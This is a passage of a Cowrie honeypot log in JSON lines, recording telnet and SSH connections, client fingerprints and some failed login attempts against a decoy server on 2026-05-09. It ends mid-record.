{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":55572,"dst_ip":"159.203.135.109","dst_port":23,"session":"df55a5952ad0","protocol":"telnet","message":"New connection: 147.182.143.59:55572 (159.203.135.109:23) [session: df55a5952ad0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:04.866178Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":55576,"dst_ip":"159.203.135.109","dst_port":23,"session":"e00ec20d9b3b","protocol":"telnet","message":"New connection: 147.182.143.59:55576 (159.203.135.109:23) [session: e00ec20d9b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:04.953326Z"}
{"eventid":"cowrie.session.closed","duration":41.43924164772034,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:04.971635Z","src_ip":"45.58.127.90","session":"a888159c2f88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":36619,"dst_ip":"159.203.135.109","dst_port":23,"session":"46c1a04cf184","protocol":"telnet","message":"New connection: 69.162.99.242:36619 (159.203.135.109:23) [session: 46c1a04cf184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:05.046901Z"}
{"eventid":"cowrie.session.closed","duration":31.08382749557495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:08.496406Z","src_ip":"69.162.99.242","session":"696eed944dbd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.237536191940308,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:09.734910Z","src_ip":"69.162.99.242","session":"83a465630b3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.120830059051514,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:09.809318Z","src_ip":"45.58.127.90","session":"7be8da084d6a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.228","src_port":33149,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f14ee202878","protocol":"telnet","message":"New connection: 91.231.89.228:33149 (10.17.0.5:23) [session: 0f14ee202878]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:10.071847Z"}
{"eventid":"cowrie.session.closed","duration":0.019199848175048828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:10.090939Z","src_ip":"91.231.89.228","session":"0f14ee202878","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.255343437194824,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:10.135254Z","src_ip":"147.182.143.59","session":"c13ce199a8e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.77","src_port":40401,"dst_ip":"10.17.0.5","dst_port":23,"session":"010ebea333ae","protocol":"telnet","message":"New connection: 91.231.89.77:40401 (10.17.0.5:23) [session: 010ebea333ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:10.157970Z"}
{"eventid":"cowrie.session.closed","duration":12.515654563903809,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:11.134941Z","src_ip":"147.182.143.59","session":"d107f6eb169f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":45298,"dst_ip":"10.17.0.5","dst_port":22,"session":"045dc0c06d64","protocol":"ssh","message":"New connection: 154.198.162.75:45298 (10.17.0.5:22) [session: 045dc0c06d64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:11.567076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:11.571008Z","src_ip":"154.198.162.75","session":"045dc0c06d64","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:11.773571Z","src_ip":"154.198.162.75","session":"045dc0c06d64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.83165907859802,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:12.168283Z","src_ip":"45.58.127.90","session":"c041049814b3","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sysadmin","password":"12345678","message":"login attempt [sysadmin/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:12.617597Z","src_ip":"154.198.162.75","session":"045dc0c06d64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":76.3702323436737,"message":"Connection lost after 76 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:13.039450Z","src_ip":"147.182.143.59","session":"788eb3dd47b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.153905153274536,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:13.597705Z","src_ip":"69.162.99.242","session":"9d237f640a40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:13.824002Z","src_ip":"154.198.162.75","session":"045dc0c06d64","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.01670241355896,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:13.844087Z","src_ip":"45.58.127.90","session":"8adb8c488507","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.70504903793335,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:15.941788Z","src_ip":"69.162.99.242","session":"937cebbb4995","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.099939584732056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:16.751739Z","src_ip":"69.162.99.242","session":"862ae901c495","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":36348,"dst_ip":"159.203.135.109","dst_port":23,"session":"38865e9d8a17","protocol":"telnet","message":"New connection: 69.162.99.242:36348 (159.203.135.109:23) [session: 38865e9d8a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:16.947781Z"}
{"eventid":"cowrie.session.closed","duration":30.608286380767822,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:17.020656Z","src_ip":"69.162.99.242","session":"1f460c4b8d4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42958,"dst_ip":"159.203.135.109","dst_port":23,"session":"0968294e80ad","protocol":"telnet","message":"New connection: 147.182.143.59:42958 (159.203.135.109:23) [session: 0968294e80ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:17.655363Z"}
{"eventid":"cowrie.session.closed","duration":14.10374927520752,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:18.969811Z","src_ip":"147.182.143.59","session":"df55a5952ad0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.086975336074829,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:20.244693Z","src_ip":"91.231.89.77","session":"010ebea333ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.090555906295776,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:20.360842Z","src_ip":"69.162.99.242","session":"e7a5e1673f64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":46270,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ddb41823854","protocol":"telnet","message":"New connection: 69.162.99.242:46270 (159.203.135.109:23) [session: 4ddb41823854]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:21.580273Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42972,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e5cb9b9693b","protocol":"telnet","message":"New connection: 147.182.143.59:42972 (159.203.135.109:23) [session: 7e5cb9b9693b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:23.921101Z"}
{"eventid":"cowrie.session.closed","duration":47.20997405052185,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:31.125500Z","src_ip":"45.58.127.90","session":"817d3777ae08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.999771356582642,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:31.654980Z","src_ip":"147.182.143.59","session":"0968294e80ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":33418,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6ddbb1c7df8","protocol":"telnet","message":"New connection: 147.182.143.59:33418 (159.203.135.109:23) [session: a6ddbb1c7df8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:31.975562Z"}
{"eventid":"cowrie.session.closed","duration":41.222583293914795,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:32.475295Z","src_ip":"45.58.127.90","session":"3d49bfa25b7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"112.203.195.38","src_port":59046,"dst_ip":"10.17.0.5","dst_port":23,"session":"0855a3255e8b","protocol":"telnet","message":"New connection: 112.203.195.38:59046 (10.17.0.5:23) [session: 0855a3255e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:34.645558Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.33.12.214","src_port":41514,"dst_ip":"10.17.0.5","dst_port":22,"session":"3571353958bb","protocol":"ssh","message":"New connection: 45.33.12.214:41514 (10.17.0.5:22) [session: 3571353958bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:35.616205Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0000u\u0001\u0000\u0000q\u0003\u0003\\xc1\\xfeV}\\x8a\\xb7\u001f\\x8c\u0017\\xe9k\\x9b\\x9c{{y\\x95<\\x94\\x82\\x9e8\\xb3\\xb6\u001b\\xbc\\xf9\\x87\\xc5\f\\xfaH\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0000u\u0001\u0000\u0000q\u0003\u0003\\xc1\\xfeV}\\x8a\\xb7\u001f\\x8c\u0017\\xe9k\\x9b\\x9c{{y\\x95<\\x94\\x82\\x9e8\\xb3\\xb6\u001b\\xbc\\xf9\\x87\\xc5\f\\xfaH\u0000\u0000\u001a\\xc0/\\xc0+\\xc0\u0011\\xc0\u0007\\xc0\u0013\\xc0\t\\xc0\u0014\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:35.621822Z","src_ip":"45.33.12.214","session":"3571353958bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:35.626122Z","src_ip":"45.33.12.214","session":"3571353958bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.227","src_port":58767,"dst_ip":"10.17.0.5","dst_port":23,"session":"3763a439c604","protocol":"telnet","message":"New connection: 91.231.89.227:58767 (10.17.0.5:23) [session: 3763a439c604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:36.108827Z"}
{"eventid":"cowrie.login.failed","username":"b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03\\x90&\\xd0\\x0f\\x1d\\x9bII\\xa3$O\\x0fc\\xfe\\xea\\r\\x98?\\x01\\xe0\\xf7\\xc3\\x0f\\xce\\x9d\\xe2\\x1b\\xc0\\xb1?\\x8a\\xaa \\xa7-\"j\\xc3\\x86\\xf4ax\\x13\\x9d\\xd7`\\xa48\\xb6C&\\xe1\\x07N\\xf0'","password":"b\"\\x80\\x9c\\xe2'\\x93}4(\\xd7\\x00\\x8a\\x00\\x16\\x003\\x00g\\xc0\\x9e\\xc0\\xa2\\x00\\x9e\\x009\\x00k\\xc0\\x9f\\xc0\\xa3\\x00\\x9f\\x00E\\x00\\xbe\\x00\\x88\\x00\\xc4\\x00\\x9a\\xc0\\x08\\xc0\\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0\"","message":"login attempt [b'\\x16\\x03\\x03\\x02d\\x01\\x00\\x02`\\x03\\x03\\x90&\\xd0\\x0f\\x1d\\x9bII\\xa3$O\\x0fc\\xfe\\xea\\r\\x98?\\x01\\xe0\\xf7\\xc3\\x0f\\xce\\x9d\\xe2\\x1b\\xc0\\xb1?\\x8a\\xaa \\xa7-\"j\\xc3\\x86\\xf4ax\\x13\\x9d\\xd7`\\xa48\\xb6C&\\xe1\\x07N\\xf0'/b\"\\x80\\x9c\\xe2'\\x93}4(\\xd7\\x00\\x8a\\x00\\x16\\x003\\x00g\\xc0\\x9e\\xc0\\xa2\\x00\\x9e\\x009\\x00k\\xc0\\x9f\\xc0\\xa3\\x00\\x9f\\x00E\\x00\\xbe\\x00\\x88\\x00\\xc4\\x00\\x9a\\xc0\\x08\\xc0\\t\\xc0#\\xc0\\xac\\xc0\\xae\\xc0+\\xc0\"] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:36.114179Z","src_ip":"91.231.89.227","session":"3763a439c604","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"","password":"b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f134.199.244.163\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'","message":"login attempt [b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\"/b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f134.199.244.163\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:36.118253Z","src_ip":"91.231.89.227","session":"3763a439c604","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"\u0000\f\u0000","password":"\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r0\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b","message":"login attempt [\u0000\f\u0000/\u0000\u001d\u0000\u0017\u0000\u001e\u0000\u0019\u0000\u0018\u0000#\u0000\u0000\u0000\u0005\u0000\u0005\u0001\u0000\u0000\u0000\u0000\u0000\u0016\u0000\u0000\u0000\u0017\u0000\u0000\u0000\r0\u0000.\u0004\u0003\u0005\u0003\u0006\u0003\b\u0007\b\b\b\t\b] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:36.122734Z","src_ip":"91.231.89.227","session":"3763a439c604","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.109113693237305,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:36.155899Z","src_ip":"69.162.99.242","session":"46c1a04cf184","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09120011329650879,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:36.199934Z","src_ip":"91.231.89.227","session":"3763a439c604","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":33424,"dst_ip":"159.203.135.109","dst_port":23,"session":"90ef4b97ce56","protocol":"telnet","message":"New connection: 147.182.143.59:33424 (159.203.135.109:23) [session: 90ef4b97ce56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:36.242123Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.231.89.228","src_port":46265,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddfe15fb23f5","protocol":"telnet","message":"New connection: 91.231.89.228:46265 (10.17.0.5:23) [session: ddfe15fb23f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:36.273260Z"}
{"eventid":"cowrie.session.closed","duration":37.152130365371704,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:37.174421Z","src_ip":"45.58.127.90","session":"aafa2e2a4a95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0046439170837402,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:39.277787Z","src_ip":"91.231.89.228","session":"ddfe15fb23f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.723140478134155,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:42.698588Z","src_ip":"147.182.143.59","session":"a6ddbb1c7df8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.107372283935547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:47.055013Z","src_ip":"69.162.99.242","session":"38865e9d8a17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57336,"dst_ip":"10.17.0.5","dst_port":23,"session":"65837d328bbe","protocol":"telnet","message":"New connection: 45.58.127.90:57336 (10.17.0.5:23) [session: 65837d328bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:47.418500Z"}
{"eventid":"cowrie.session.closed","duration":12.930940628051758,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:47.576358Z","src_ip":"112.203.195.38","session":"0855a3255e8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.162.99.242","src_port":50536,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2629b209ba7","protocol":"telnet","message":"New connection: 69.162.99.242:50536 (159.203.135.109:23) [session: d2629b209ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:49.702751Z"}
{"eventid":"cowrie.session.closed","duration":14.15215539932251,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:50.394001Z","src_ip":"147.182.143.59","session":"90ef4b97ce56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":41506,"dst_ip":"159.203.135.109","dst_port":23,"session":"050c4608269b","protocol":"telnet","message":"New connection: 147.182.143.59:41506 (159.203.135.109:23) [session: 050c4608269b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:50.398970Z"}
{"eventid":"cowrie.session.closed","duration":31.116984128952026,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:36:52.697072Z","src_ip":"69.162.99.242","session":"4ddb41823854","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.180843114852905,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:00.579739Z","src_ip":"147.182.143.59","session":"050c4608269b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":35458,"dst_ip":"10.17.0.5","dst_port":22,"session":"1134991b549b","protocol":"ssh","message":"New connection: 154.198.162.75:35458 (10.17.0.5:22) [session: 1134991b549b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:06.091672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:06.107693Z","src_ip":"154.198.162.75","session":"1134991b549b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.236.228.198","src_port":13874,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4fdeaddb25d","protocol":"ssh","message":"New connection: 172.236.228.198:13874 (10.17.0.5:22) [session: c4fdeaddb25d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:37:06.297523Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gc